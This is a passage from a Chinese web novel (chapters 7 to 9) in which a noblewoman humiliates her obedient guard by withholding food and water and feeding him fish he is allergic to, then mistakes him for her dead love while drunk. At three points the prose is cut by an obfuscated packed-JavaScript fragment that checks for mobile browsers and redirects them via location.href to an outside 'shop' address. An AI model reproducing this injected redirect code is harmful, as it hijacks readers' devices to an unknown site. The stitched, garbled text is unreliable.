0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524550|203427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自该谨遵圣意,感沐陛下荣恩。” 殷芙微笑道:“陛下怜惜体恤之心,我自然不敢忘。可若是因为我而毁了公子原本的姻缘,拆散了一对有情人,更叫我无法安心。” 说罢,殷芙瞥了眼桌上那盏一口未动的茶,站起身道:“这茶不错,沈公子慢用,我就不陪公子了。” 沈清瞬时慌了神,既亲眼见到了殷芙,他自然不可能白白放弃这门顶好的亲事,情急之下,他慌忙小跑着追了上去,下意识抓住了殷芙的手腕。 “殷姑娘,此事可否容我们再商榷商榷……” 殷芙蹙眉,神色不虞地停下脚步。 还不及她开口斥责,忽听一声骨裂脆响,玄霜面无表情地将沈清的手从殷芙的腕上折了下来,袖中短匕无声无息地横在沈清脖颈。 沈清吓得脸色煞白,连叫都不敢叫,惊恐万分地瞪着眼睛,好半晌,才哆嗦着出声道:“沈、沈某不是有意冒犯殷姑娘……” 玄霜仿佛根本没有听见沈清害怕的求饶,一双冷淡漆眸始终注视着殷芙,只要她一句话,他便可立刻了结了这个登徒子的性命。 殷芙理着衣袖,漫不经心道:“罢了,松开沈公子。沈公子好心请我喝茶,我怎好对沈公子不敬。” 她开了口,男人方收回手,迅速将匕首拢入袖中,垂眸立于殷芙身后。 “多、多谢殷姑娘宽宥。” 沈请劫后余生般松了口气,颤颤抚摸着脖子,眼睁睁看着殷芙的身影消失在雅间门口,却再不敢多说半个字。 殷芙神色自若地出了茶楼,去容雪阁买了些膏脂,便坐进了回府的马车。 瞥了眼马车旁男人峻拔的背影,殷芙一手掀着帘子,命令道:“进来。” 玄霜犹豫了一息,弯腰钻进车里,跪在殷芙脚边。 脸上的面具早已浸满了汗水,湿淋淋的汗淌过面具边缘,顺着男人脖颈上的青筋脉络流进衣裳里,似溪流淌过虬劲青峰,洇出大块大块的潮湿。甚至还有些盛不住的汗,正从下颌滴落,啪嗒啪嗒地砸在地上。 殷芙凤眸轻眯,欣赏着眼前美景。 本是怕玄霜在路上憋昏过去,所以想替他摘了这面具,却不想这暗卫比她所想的还要能忍耐,日头当空,暑气炎炎,跟着她在街上逛了这么久,他竟然还能维持着清醒,亦不曾求她什么。 “方才做得不错。”殷芙伸手,抚摸着面具边缘,轻轻抬起一丝缝隙,如愿听见男人一声沉闷的喘息,又恶劣地扣紧了。 殷芙眼瞧着一滴汗从男人喉结上颤滚下来,淌进胸前的沟壑。 玄霜低着眼,因无法说话,神情愈发驯服,以此来回应殷芙的夸奖。 真听话啊。 殷芙想。 简直像一只忠心耿耿的,无论怎么对他都不会反抗的,护主的狼犬。 男人长久的沉默终于让殷芙想起一桩事来,她问道:“珠子可还好好含着?” 玄霜点头,又是一滴汗掉在地上,只两句话功夫,便在殷芙脚边洇出了一滩水渍。 “还受得住?”殷芙用指节慢慢地刮过男人汗津津的喉结。 算起来,因着那颗明月珠的缘故,他已有整整半日不曾进食饮水了。 玄霜抬眸,想要说些什么,殷芙随手从发间拔下一支金簪扔给他,把掌心伸到他面前,示意他可以写字与她说。 一支再素净不过的金簪,无半点缀饰,只朦朦胧胧地,散着几分少女发间的香气。 那香气让本就呼吸不畅的玄霜眼前眩晕了一瞬,额角碎发凌乱紧贴着男人被热气蒸红的眉眼,他握着金簪跪在那里,看起来被欺负得十分凄惨,神情却依旧顺从。 玄霜散开紧束的袖口,将衣袖扯覆过手背,再用那只手背小心地托起殷芙的手,这样她便不必费任何力气。 然后他才跪直了些,如同被主人刻意药哑的奴隶般,用金簪在殷芙掌心一笔一划地写下字来。 7. 第七章 “属下受得住。” 顿了顿,玄霜又继续写道,“大小姐说过,要属下受罚两日。” 主子金口玉言,两日便是两日,即使他当真昏死过去,也一个时辰都不能少。 殷芙感受着掌心的笔画,一字一字将他写下的话拼凑起来。 很奇异地,殷芙竟有种被取悦到的感觉。一种,在裴钰身上从未体会过的感觉。 譬如此刻,汗水仍禁不住地从男人下颌淌落,她并未允许他摘下面具,暗卫便沉默地压抑着想要呼吸的求生本能,任由他的生命一息一息地无声流逝。 殷芙盯着男人漆沉的眸,慢慢伸出手,握住他脸上面具,往上抬了抬。 玄霜克制地呼吸了一口,他清楚地知道,此时呼吸得越痛快,待面具重新紧压回脸上时,便会越痛苦。 殷芙却没再欺负他,而是直接将面具摘了下来。 积蓄多时的汗水立刻哗啦啦地浇淌了一地,玄霜面颊烧红,眉眼湿潮,显然早已到了承受的极限,第一反应却不是大口大口地畅快呼吸,而是低下头,看向了地上的那滩汗渍。 他低贱的汗水,弄脏了大小姐的马车。 殷芙扬手,仿佛从水瓢里倒水一般,将面具里来不及流尽的一点汗,居高临下地倒在玄霜脸上。 暗卫脖颈青筋鼓动,仰起头去接,殷芙从怀中取出帕子,懒懒扔过去。 “行了,把脸擦擦吧。” 她也不想真憋坏了他,若真把人弄出个好歹,她去哪再去寻一张和裴钰这般相像的脸。 浅荷色的绢帕,一角绣着一簇芙蓉花。 玄霜胸膛起伏,捧着那块帕子,小心地避开了那簇芙蓉,将脸上的汗草草擦了,又下意识看向膝前的那滩水。 殷芙循着他的视线看去,不由眉心轻拧,探出鞋尖在水里踩了踩,“把地上的也擦了。” 玄霜犹豫片刻,没用手里的帕子,而是用自己的衣袖仔细将那滩汗渍擦拭干净,衣袖不够,便用小臂,直到殷芙脚下的木板重又光洁如新。 然后他便将绢帕叠好,和那支金簪一同捧到殷芙手边。 “赏你了。”殷芙不甚在意,抬脚踩在男人身上随意碾了几下,抿去鞋尖染上的水渍。 玄霜顿了顿,磕下头去,谢恩。 他怎就忘了,那绢帕和金簪皆被他碰过了,大小姐定然不会再要了。 许是玄霜出了太多汗的缘故,马车里似乎也随之闷热起来,殷芙一面用团扇扇着风,一面让玄霜跪远些,不想染上他身上的热气。 大小姐这是嫌他脏了。 玄霜沉默地挪到木榻边的角落里,方才还一身杀气冷脸护主的暗卫此刻低垂着眼,浑身湿汗地跪在一旁,殷芙瞥了一眼,最后还是忍不住勾勾手指让人跪回了脚边,把团扇递过去,示意玄霜为她扇风。 第一次做这样的事,玄霜动作有些僵硬,握惯了杀人利器的手小心捏着团扇的细柄,一下一下,将舒适的风送到殷芙脸上。 马车行过青石路,偶尔颠簸几阵,那风的力道却始终未变。 殷芙闭上眼,忽而想起那时候,入夏的渔村暑气闷热,院里树荫下的石桌旁,裴钰也曾执起一柄蒲扇,为她扇风驱热。 不似玄霜这般沉默,裴钰总会同她说很多很多的话,从诗词经赋,天文地理,到他的志向抱负,人生宏愿。 那风也忽盛忽浅,随着他话中或激昂或低落的情绪,起起伏伏。 她年幼离京,此后多年流落,学业自然是耽搁了,许多东西,都是在遇见裴钰之后,裴钰一字一句教给她的。 裴钰诗书满腹,才思绝艳,比沈清之辈不知要强出多少,奈何裴家不器重他,只得远居乡下,在学堂里做个普普通通的教书先生。 想起裴钰,殷芙神色不由有些黯然。 玄霜以为是自己手法不精,没能伺候得主子舒服,他抿紧了唇,忍着小臂快要抽筋的酸软,一遍遍不知疲倦地摇动扇面。 马车在相府门口停下,殷芙心不在焉地睁开眼,看都没看脚边跪着的暗卫一眼,掀帘步下马车。 她没回芙花院,带着买来的面膏和点心,去了李蕙的院中。 瓷盒里盛着雪白膏脂,细腻生香,多年未用过这等金贵物,李蕙一时湿了眼眶,难为女儿一片孝心,还记挂着她这张容颜不再的老脸。 看着眼前明艳端秀的女儿,李蕙不免心生惭愧,没嫁入相府前,她也是娇生惯养的世家女,没吃过半点苦楚,一路上没有丫鬟仆役,事事皆要亲力亲为,让贵为丞相夫人的她如何忍受这般辛苦? 若非殷芙早慧经事,一路悉心照料,她怕是根本没命熬到回京这一天。 李蕙合上瓷盒盖子,想起今日早些时候,几位夫人登门同她品茶叙话,明里暗里地点着殷芙在宫中的那番言语。 论理,与沈家结亲,的确是门不错的亲事。 那几位夫人也劝,道姑娘家年纪小,目光看不得长远,她为人母,得好生规劝,伤心一时也就罢了,哪能就把话说死了,要守着个死人过一辈子似的。 可眼下李蕙只觉得,这些年女儿已在外头吃了不少的苦,往后她只想女儿在家中好生享福,何况殷府百年家底,即使殷芙当真一辈子不嫁人,家中又不是养不起她。 李蕙这般想着,看向殷芙的目光愈发慈爱。 “阿芙,沈家的事,你可想好了?娘知晓你心中旧结,绝不会逼迫你什么,只是终归是你的婚姻大事,万万要思虑清楚才好,娘不想你日后再为此事而后悔。” 殷芙笑了笑,道:“娘,阿芙不会后悔。阿芙不想嫁人,就想同您和爹爹在一起,再不想分开。” 她其实不大明白为何京中的姑娘都要早早嫁人,将过及笄之年,便要嫁作人妇,大了肚子,为旁的姓氏传宗接代。 她不喜欢那样。也决不会那样。 李蕙闻言,不禁又想起这些年和丈夫分开日夜忧心的苦楚,她泪眼朦胧地握紧了殷芙的手,喃喃道:“好,好,阿芙不嫁,阿芙只管安心在家里住着,你爹爹那边,我同他去说。” “多谢娘亲。”殷芙亲昵地靠进李蕙怀中,如小时候那般将头倚在她的肩膀。 李蕙低头望着女儿,窗外蝉鸣声声,绿荫繁盛,小院里一派宁和,她在心中感叹着,如今一家人总算是安定下来了。 她一面温柔理着殷芙鬓边的碎发,一面道:“过两日,娘寻位先生到府中教你课业可好?小时候你也是爱读书的,琴棋书画也样样出色。耽搁了这些年,实在可惜。” 殷芙自然点头答应,想了一会儿,又道:“不知京中可有愿意教武的师父,阿芙也想学些防身的功夫。” 离京这些年,母女俩路上没少遇到危险,殷芙深知,若真到了紧要关头,腹中有再多墨水也是无用,居安思危,早早学些刀枪本事在身上,总归是有益而无害的。 “这事娘亲却是不知,得问问你爹爹才好。”李蕙知道殷芙心中所想,眉眼间不由流露出几分心疼,若非在外头经历了太多艰辛苦楚,哪有姑娘家主动要学这些的。不过李蕙到底也没拦着她,“待你爹爹回来,我同他说说,让他留心着寻一寻,可有合适的。” “那便辛苦娘亲和爹爹了。” 母女两个又说了会儿话,不知不觉,便是一下午过去。 回到芙花院,殷芙吩咐丫鬟备水沐浴,洗去一身粘热后,便换了身浅耦纱裙,坐在窗下软榻上,拿了册裴钰留下的旧书闲闲翻看着。 不多时,便听得两声极轻的叩门声,殷芙抬头看去,见玄霜穿着浣纱楼里买来的那身青色薄衫,腰间系着块碧绿玉佩,确是从前裴钰常作的打扮。 殷芙放下书册,远远瞧了一会儿,才出声道:“进来吧。” 玄霜步入屋中,在榻前跪下来。 殷芙细细端详了一番,这颜色倒还算衬他,不似白衣那般突兀,却也不像裴钰穿上那般清雅,反而别有一番味道。 京中夏衫大多用细纱薄缎裁制,玄霜皮肤色深,隐隐欲从缎子下透出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524551|203427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般,流出大片蜜色,再往下,是腰带束出的一截窄瘦腰身,青衫下摆覆过男人紧实的大腿,压在膝下。 殷芙打量半晌,方不紧不慢地道出一句:“这身,总算是像阿钰几分了。” 男人喉结动了动,沉默地应下了她的夸奖。 殷芙倾身,拈起玄霜腰间玉佩,轻轻摩挲了几下。 以前裴钰便总贴身系着块玉佩,她曾听裴钰说起,那是裴家祖传之物,乃裴家子的象征。 幼时裴决尚未厌弃他,便如对其他两个儿子一样,亲手在家传玉佩上刻了字,赠与裴钰。裴钰将这玉佩视作珍宝,不止一次握着它在手中,喃喃对她道,早晚有一天,他会得到父亲的认可,会让裴家重新认下他。 眼前这块玉佩显然是惜月从库房里寻来的替代品,但殷芙抚摸着其上温润纹理,还是慢慢地忆起了有关裴钰的桩桩件件。 她仍记得裴钰对她说这番话时眼中的神情,春风清朗,拂动嫩绿柳梢,郎君回眸,望着她的眼睛轻轻道,阿芙,若有机会,你愿意帮我吗? 那时殷芙想,她连京城都回不去,又如何助他,只是家中秘辛,自然无法同裴钰细说。 每每这时,郎君便温柔笑起来,“只要阿芙一直陪在我身边,便足够了。” 玉佩在手中摩挲久了,逐渐变得温热。 殷芙兀自陷在与裴钰的回忆里,寂静卧房中,忽然传来一声突兀的“咕噜”声。 思绪骤然被打断,殷芙眉心轻拧,松开玉佩,不悦地抬眸看向玄霜。 显然,那声音是从他腹中发出的。 一整日滴水未进,玄霜早已胃中空空,时不时绞出些酸水,身体虽熬得住,可声音却不是他所能控制的。 玄霜动了动唇,想开口请罪,可珠子却还含在口中,只得从袖中滑出殷芙赏他的金簪,望向殷芙。 殷芙瞥他一眼,纡尊降贵地伸出手。 “属下惊扰大小姐,请大小姐罚。”玄霜写道。 “光天化日之下,发出如此不雅之声,是本小姐饿着你了?”明明是她罚着他一日不许吃饭,殷芙却偏偏故意这般问他。 玄霜迅速摇头,在她掌中写道:“大小姐待属下很好,是属下犯了错,应当受罚。” 殷芙哼了声,脚尖踢了踢男人小腹,的确空空瘪瘪,连腹肌都好似消减了许多。 她这才扬声唤了丫鬟进来,吩咐道:“让小厨房准备晚饭吧。” 丫鬟应了声是,正欲退下,殷芙又将她叫住,细细交代道:“要一道生鱼脍,一碟梅子藕片,还要凉拌豆芽,苦瓜炒肉。” 这几道菜都是素日里裴钰爱吃的,他尤其钟爱鱼脍,加之白沙村又是渔村,最不缺的便是鱼,那段日子的饭桌上,几乎日日都有各种各样的鱼。 殷芙不排斥吃鱼,却也谈不上喜欢,自回到家中,便没再吃过鱼了。方才想起裴钰,她忽然又有些怀念鱼的滋味。 丫鬟领命而去,殷芙的目光落回玄霜脸上,漫不经心地扫过他因缺水而干裂的唇瓣。 她拿过一方帕子放在手心,示意玄霜张嘴,将那珠子吐出来。 莹润的明月珠粘着晶亮的津液,顺着男人的舌尖,落进帕中。 她用帕子胡乱将珠子裹了放在一旁,玄霜默了默,哑声道:“属下多谢大小姐宽宥。” 男人的声线已经不能用沙哑来形容,几乎残破得发不出声,若再不允他喝些水,怕是要坏掉了。 殷芙拿起一旁小桌上的茶壶,一边往茶盏里倒茶,一边问道:“想喝吗?” 那淅淅沥沥的水声听得玄霜下意识抿了下唇,仿佛已经尝到了茶水甘甜清冽的滋味,喉咙里却烧灼得愈发难耐。 他如实道:“想。” 视线追随着殷芙倒茶的那只手,余光却注意到,桌案上,并无多余的茶盏可给他用。 殷芙悠闲地转着手中瓷白茶盏,似在等着什么。 玄霜默了一息,垂眸磕下头去。 “求大小姐赏。” 8. 第八章 殷芙自顾自抿了口茶,上好的西州白毫入口清润生香,凉饮更为芳冽,尤其适合夏日消暑。 她不紧不慢喝了小半盏,方开口道:“抬头。” 玄霜依言抬起头,见殷芙又轻转了下手中茶盏,瓷白边沿上,晕着一抹极淡的口脂红印。 大小姐用过的茶盏,他自然是不配用的。 玄霜抿了下唇,下一瞬,便见殷芙抬起手,让盏中茶水顺着那点嫣红,细细地从高处流下来。 玄霜几乎是本能地扬起脖颈,张开嘴去接那道清透的水流,咕嘟咕嘟地吞咽着,喉结贴着颈皮,嶙峋如崖间山石,上下滚动。 殷芙见状,坏心地故意左右挪动茶盏,瞧着男人像追着骨头的狗般去追盏中淌下的水流,即使他的动作已经够快了,可还是有些茶水洒在了桌案上。 一盏茶很快倒空了,殷芙瞥了眼案上的水渍,指尖点了点,“喝干净。” “是,大小姐。” 玄霜面色平静,挪膝靠过来,俯身将薄唇贴上去,用力吮吸着,将茶水一滴不漏地吮入口中。 那声音实在悦耳,殷芙一面听着,一面明知故问道:“怎么渴成这样子啊?好像没喝过水一样。” 男人动作微顿,哑着声道:“大小姐所赏,属下不敢浪费。” 想起方才思绪被打断的不快,殷芙凉凉哼了声,并不打算轻易饶过他,索性直接拿起茶壶,往男人高挺的鼻梁上倒下去。 “那就多喝些罢。” “咳、咳咳……”玄霜被呛得咳嗽了声,断断续续地道,“是,属下多谢……多谢大小姐赏赐。” 水流又快又急,淌漫过玄霜薄淡的唇珠,他的下颌浸在一汪通透碧绿的茶水里,窗子外斜映进几缕暮色余晖,照在上头,像一块棱角分明的琥珀。 殷芙看着,忍不住又抬高了些手,茶水倾泻,将暗卫黑密的睫羽浇得东倒西歪。 男人被激得有些睁不开眼,却始终没有躲开,直到一整壶茶水喝尽,方抬起黑漆漆的眸,望向殷芙。 “还渴吗?”殷芙问。 玄霜摇头,大小姐的茶何等金贵,一壶便够了,若再赏他,实在浪费。 有水珠顺着眼睫滴落,玄霜伸出舌头上下将唇瓣上的茶水舔入口中,只是脸上的却无论如何也舔不到了,只能任由那些茶水悄无声息地蒸干,只留下一缕浅淡的茶香。 看着他这副模样,殷芙倒是再生不起气来了。 暗卫顺从得挑不出一丝错处,殷芙毫不怀疑,哪怕她命令他将溅到地上的茶水也舔干净,他也会听话地照做。 几名丫鬟叩门进来,在屋中摆好用饭的长案,将饭菜一样样摆到案上。 殷芙搁下茶壶,抬手示意她们退下,起身走到案后跪坐下来,对玄霜道:“过来,陪本小姐用饭吧。” “是。” 玄霜膝行过来,饭菜的香气涌入鼻尖,肚子忍不住又不争气地咕噜了声。 玄霜垂下眼,背在身后的手微微攥紧,短短一刻钟功夫,他便在大小姐面前犯了两次同样的错。 求罚的话还未说出口,殷芙已夹了一块鱼脍,蘸饱了酱汁,放进他面前的碟子里。 “尝尝,以前阿钰最爱吃这个了。” 殷芙不喜吃生食,但和裴钰一同用饭时,也会陪着他吃一点。 相府的厨子手艺精湛,鱼肉片得薄而精细,晶莹透红,酱汁亦是鲜灵,入口回味无穷。殷芙自夹了一块吃了,抬头时见玄霜碟子里的鱼脍还一动未动,不由蹙起眉:“怎么还不吃?是嫌本小姐这里的饭菜不合口味?” “属下不敢。” 玄霜拿起一旁的木箸,大小姐赏他同案而食的恩典,他怎敢挑挑拣拣,只是…… 玄霜夹起那片薄薄的鱼脍,送到唇边。 他年幼时在影阁中吃过一次鱼肉,翌日便发起了高热,身上还起了不少红疹,十分骇人,至今仍记得清楚。 鱼肉在影阁中乃是不可多得的稀罕物,寻常暗卫根本没资格吃到这等奢侈荤腥,即使如玄霜这般极得阁主看重的顶尖高手,也只有三月才能吃上一次。 那一回玄霜着实折腾得不轻,阁主怕他死了,白白折了这么些年养他的银钱,难得慈悲了一回,从外头请了个郎中给玄霜瞧病。 郎中说他是发物犯病,致使高热瘾疹,往后切记不可再食用鱼肉,阁主听罢,便冷笑着讥讽他真是天生贱命,赏他好东西都消受不得。 玄霜犹豫了一息,还是将鱼脍放入口中,如完成指令般,囫囵吞咽了。 大小姐说了,这是阿钰喜欢吃的东西。 他如今是“阿钰”,自然也该喜欢。 只是发一场高热,身上起些疹子而已,熬几日便会好的,玄霜想。他可以忍耐着,不在大小姐面前露出异样。 见玄霜吃了她夹来的鱼脍,殷芙这才高兴了些,又夹了几箸菜给他。 “谢大小姐。” 玄霜低着头,她夹来什么,他便吃什么,其它的菜,却是一下未动。 殷芙打量着玄霜吃东西时的样子,他的动作很快,草草咀嚼几下便咽入腹中,也不知品出滋味没有,觉着可口还是难吃,脸上始终没什么表情。 而裴钰用饭时总是细嚼慢咽的,他会用箸尖夹起一片鱼脍,一边欣赏着鱼肉精致细腻的纹理,一边同殷芙讲起片鱼脍时的种种要领,而后才斯文地咬下一口,细细回味。 想起裴钰,殷芙眸色暗了暗,见案上摆了一只酒壶,便拿起来,往酒盅里斟了些。 是府中新酿的时令果酒,今早才开了坛,各院子里都分了些,厨房的丫鬟便顺手盛了一壶送来。 都道酒是消愁解忧之物,殷芙将酒盅放到鼻尖前嗅了嗅,闻着有些呛人,不知尝起来是何滋味。 “你替本小姐尝尝,味道如何。”殷芙把酒盅推到玄霜面前。 玄霜应了声是,拿起酒盅,仰头一饮而尽,而后如实道:“回大小姐话,并无特别滋味。” 果酒最要紧的便是那股甘甜果香,酒味倒是其次,京中贵女们都爱饮些,只当是道果味甜饮,玄霜喝惯了影阁中廉价的烧酒,一口下肚,只觉无滋无味。 殷芙从未喝过酒,听玄霜这般说,又喝得如此痛快,便给自己又倒了一盅,如玄霜方才那般,抬头饮尽。 玄霜微怔,大小姐……竟用了方才他用过的那只酒盅。 村里没有京城那么多规矩,再加之条件艰苦,瓷器茶具都是极稀罕的物件,那时殷芙也时常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524552|203427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和裴钰用同一只茶碗,同一副碗碟,是以并不在意这些。 只是这酒入了喉,哪里是甜的,分明又辣又呛,一整盅下去,眼眶都熏出了几分红。 殷芙抿了下唇,不悦地抬眸:“你骗本小姐?” “属下不敢欺骗大小姐,属下……”玄霜迅速将视线从殷芙手中的酒盅上移开,“属下卑贱,品不出好酒滋味,请大小姐罚。” 殷芙哼了声,抬手欲再斟一盅,眼前却已经泛起了模糊,手也有些拿不稳了。 少女脸颊酡红,似两团明艳云霞,眼尾绯丽,透着微醺的酒热,纤密的羽睫仿佛都洇出了几分湿意,愈发乌黑透亮。 玄霜一怔,大小姐……这便醉了吗? 他下意识地拦住了殷芙倒酒的手,“大小姐,您酒量不佳,不可再饮。” 朦胧视线里,是男人劲瘦腕骨和修长指节,漂亮得惹眼。裴钰的手,一直都这般漂亮。 他盖着那酒盅的口子,不让她把酒倒进去,殷芙有些头晕,握住了裴钰的那只手,身子也不自觉地往前靠去。 四下窗子开着,满室静谧,徐徐散进风来。 玄霜心跳如擂鼓,手指僵在那里,一动不敢动。 少女的掌心覆在他冷硬的手背上,如一捧温软的白雪落进枯涸泥地之中,颜色都如此分明。 “大小姐……” 他低声提醒,手却被握得更紧了。 “别乱动,阿钰。”殷芙不满道。 玄霜喉结滚了滚,终究还是应道,“是,大小姐。” 今日的裴钰似乎比平时要顺从许多。 殷芙抚摸着男人的手,不甚清醒地想道。 以前他总将礼数规矩挂在嘴边,恪守男女之防,从来不会由着她这般亲近。 是他们分别太久了吗? 眼前的裴钰……仿佛结实了不少。 淡青色的交领瞧着像是被茶水打湿了,朦胧半透地贴在胸前,能看出紧实饱满的肌肉轮廓,还有一道深色沟壑。 恍恍惚惚地,殷芙想起自己似乎曾经抱过裴钰一回,只是没抱多久,便被什么人打断了。 她有些费力地挪过去,想也不想便伸手环住了男人的腰,埋头闷在他身前。 “阿钰,你今日好乖。”她喃喃说着,“以后一直都这样乖好不好?” 玄霜瞬时浑身紧绷,手臂无措地僵在身侧,少女在他怀中不安分地乱动,猫儿般拱着,似乎极为喜爱那两块他从来不曾留意过的丰满。 玄霜想,他这般亵渎大小姐,便是死,怕也不能谢罪。 他小心地抽开些身子,想要挣脱,却被殷芙不耐地圈着腰抱了回去。 “听话。你不喜欢我抱你吗,阿钰?” 玄霜克制地避开她吐在他下颌上的热气,低声道:“大小姐,您醉了。” “我没有。我才喝了一盅酒,我记得的。” 少女嗓音透着几分软,她从未用这样的语气和他说过话,显然是醉了的。 玄霜不能反驳她,只能哄道:“属下去叫惜月姑娘来服侍您休息……” 话未说完,玄霜身子陡然一僵,手指紧紧蜷起。 大小姐的手…… 在抚摸他的腰。 9. 第九章 殷芙把玩了一阵,尤嫌不够,索性一扯系带,将碍事的薄衫凌乱掀开。 从未被这般碰过的地方每攵感得厉害,玄霜禁不住地阵阵打颤。 “阿钰,你的腰好细。”殷芙夸奖道,而后不容反驳地宣布,“以后我每日都要摸。” 少女唇齿间的热气徐徐呼出来,落在玄霜的心口,一小片潮湿的滚烫。 即使身陷生死攸关的搏杀险境,他的心,也从未跳得这般快过。 玄霜微张着唇,头一次没有立刻回应她的命令,殷芙不满地拧起眉,惩罚地掐了两把,“为何不说话?阿钰不愿意吗?” “……属下愿意,大小姐。” 他是大小姐的生辰礼物,他的身体,本就是属于大小姐的。 大小姐……想如何玩都可以。 玄霜这般想着,又后知后觉意识到,大小姐是在对裴钰说话,并非对他。 暗卫何等卑贱,如何能沾染大小姐千金玉体。 待明日大小姐酒醒后,回忆起今日种种,应当会很厌恶自己碰过他的身体吧? 大小姐,是会砍去他这双抱过她的手,还是会将他逐出府去,再也不想见到他? 玄霜抿了下唇,低眸注视着少女醉酒后艳艳的双颊。殷芙迷迷糊糊只听见“愿意”二字,便高兴地贴紧了他的胸膛,依依不舍道:“阿钰,你真好。” 她身上到处都是馥郁的香气,像阴暗湿冷的影阁里终年不得见的春天。 暗卫是不该有情绪的。 玄霜却忽然有些不舍,希望时间过得慢一些,再慢一些,最好,能永远停留在这一刻,即使他心中清楚,大小姐此刻的温柔,都是给那位死去的裴公子的。 他本该嫉妒,却平静地,生出几分感激来。 如若不是因为裴公子,他终其一生都该跪伏在大小姐身后的寂寂暗影里,怎配离大小姐这样近。 怀里的人似乎有些困了,手也渐渐安分下来。 玄霜回神,低声问:“大小姐,可要安歇?” 殷芙含糊嗯了声,嘴里嘟囔着:“你抱我去床上。” 她如今的状况显然没法自己走过去,玄霜犹豫了一息,一手替殷芙理了下乱糟糟的裙摆,一手将她抱起来,“属下冒犯。” 男人双腿修长,几步便走至榻边,将殷芙稳稳放在床榻上。 玄霜弯下腰,扯过一旁的被褥为殷芙盖在身上,见她闭着眼,呼吸均匀起伏着,大约是睡着了,正打算悄无声息地离开,殷芙忽然拉住了他的手腕。 “不许走,阿钰。” 她迷糊侧过身,胡乱攥着玄霜手指,又重复一遍,“你不许走。” 玄霜默了默,顺着她的力道在榻边跪下来。 “好,属下不走。” 殷芙却仍旧不放心似的,羽睫困倦地抬起,睁开一道浅浅缝隙,“不许趁我睡着了偷偷离开。” “是。”玄霜挪膝往前靠了靠,听着她话中隐晦的思念,平静道,“属下会一直守着大小姐。” 殷芙这才安心了,就抓着玄霜的手,闭眼睡了过去。 黄昏坠入山后,漆黑夜幕中,升起一轮明月清辉。 惜月叩门进来时瞧见的便是这样一副情景,殷芙侧身躺在床上,睡得香甜,而高大挺拔的男人跪在床榻边,也不知守了多久,整片脊背都被汗浸得湿透了,似能拧出水来。 听见开门声响,玄霜回过头,压低了声音对她道:“劳烦姑娘,为大小姐备一碗醒酒汤来。” 眼下时辰尚早,大小姐睡上一会儿便该醒了,喝了醒酒汤再睡,会舒服些。 “小姐喝醉了?”惜月看了眼桌案上的酒壶,狐疑问道。 这酒是她亲眼瞧着厨娘们盛进酒壶里的,是最没滋味的果酒了,小姐竟能喝醉? 玄霜嗯了声,顿了片刻,又叮嘱道:“以后不要给大小姐喝酒。” 惜月走上前,弯腰去收拾桌上的狼藉,余光瞥见殷芙的一只手还探在玄霜胸前,而男人一脸平静,仿佛无知无觉。 惜月连忙收回视线,心道小姐这是喝醉了酒认错了人,她背对着玄霜,只当什么都没瞧见,一面收拾一面小声道:“你回去歇着吧,我来照料小姐。” “大小姐吩咐了,要属下在此守她一夜。” “……那是小姐酒醉胡言。” 若真这么跪着在榻前守上一夜,膝盖还要不要了? “大小姐的话,不可违背。”男人声线淡漠,仿佛听话的木偶玩具,殷芙让他做什么,他便做什么。 惜月一时语塞,却也劝说不得,她无奈地叹了口气,轻手轻脚地退出门外,去准备醒酒汤。 这夜,殷芙难得睡了个好觉。 自从回到京城,殷芙总是睡不安稳,夜里每隔一两个时辰便要醒来一次。许是酒劲作祟,竟少见地一觉睡到了天明。 她撑着床榻坐起身,揉着隐隐作痛的太阳穴,脑子里仍有些迷糊。 嘴里渴得厉害,见床头小桌上摆了碗水,殷芙便拿起来喝了一口。 “哎哟小姐,您快把碗放下,这醒酒汤搁了一夜,可喝不得了。”惜月推门进来,见此情状,忙小跑着上前去夺殷芙手中的碗。 醒酒汤? 殷芙脑子里仍有些空白,皱眉问道:“我昨日喝醉了?” 惜月一脸愧疚:“此事都怪奴婢,本以为那果酒没什么滋味,便让厨娘盛了一壶给小姐尝鲜,没想到小姐的酒量……” 顺着惜月的话,殷芙倒是慢慢回想起来了。 她饮醉了酒,把一身青衫的玄霜当成了裴钰,絮絮说了许多话,似乎……还抱了他。 殷芙微眯起眸,回忆了下那时的感觉。 不得不说,手感很不错。 虽然她没有抱过裴钰,但她可以笃定,真正的裴钰,抱起来绝不会这般舒服。 只是…… 殷芙扫了眼空荡荡的榻前。 她记得昨夜吩咐过,命他在此守着不可离开,怎的一早醒来却没了人影? “玄霜呢?”殷芙有些不悦。 惜月没想到她还清楚记着这事,愣了下才道:“奴婢估摸着小姐快起了,便让他先出去了。小姐要盥洗更衣,他在这儿也不方便。” 惜月扭头看了眼门外,清亮晨曦覆满石阶,日光最盛处,跪着一道挺拔身影。她叹了口气,道:“他说,待小姐醒了,他自会过来向小姐请罪。” 殷芙顺着惜月的视线望向门口,那影子落在阶上,许是被风吹的,微微有些摇晃。 “让他进来。” 惜月应了声,很快把人领了进来,而后便识趣地退了出去,临走前还不忘把房门关紧。 “大小姐。” 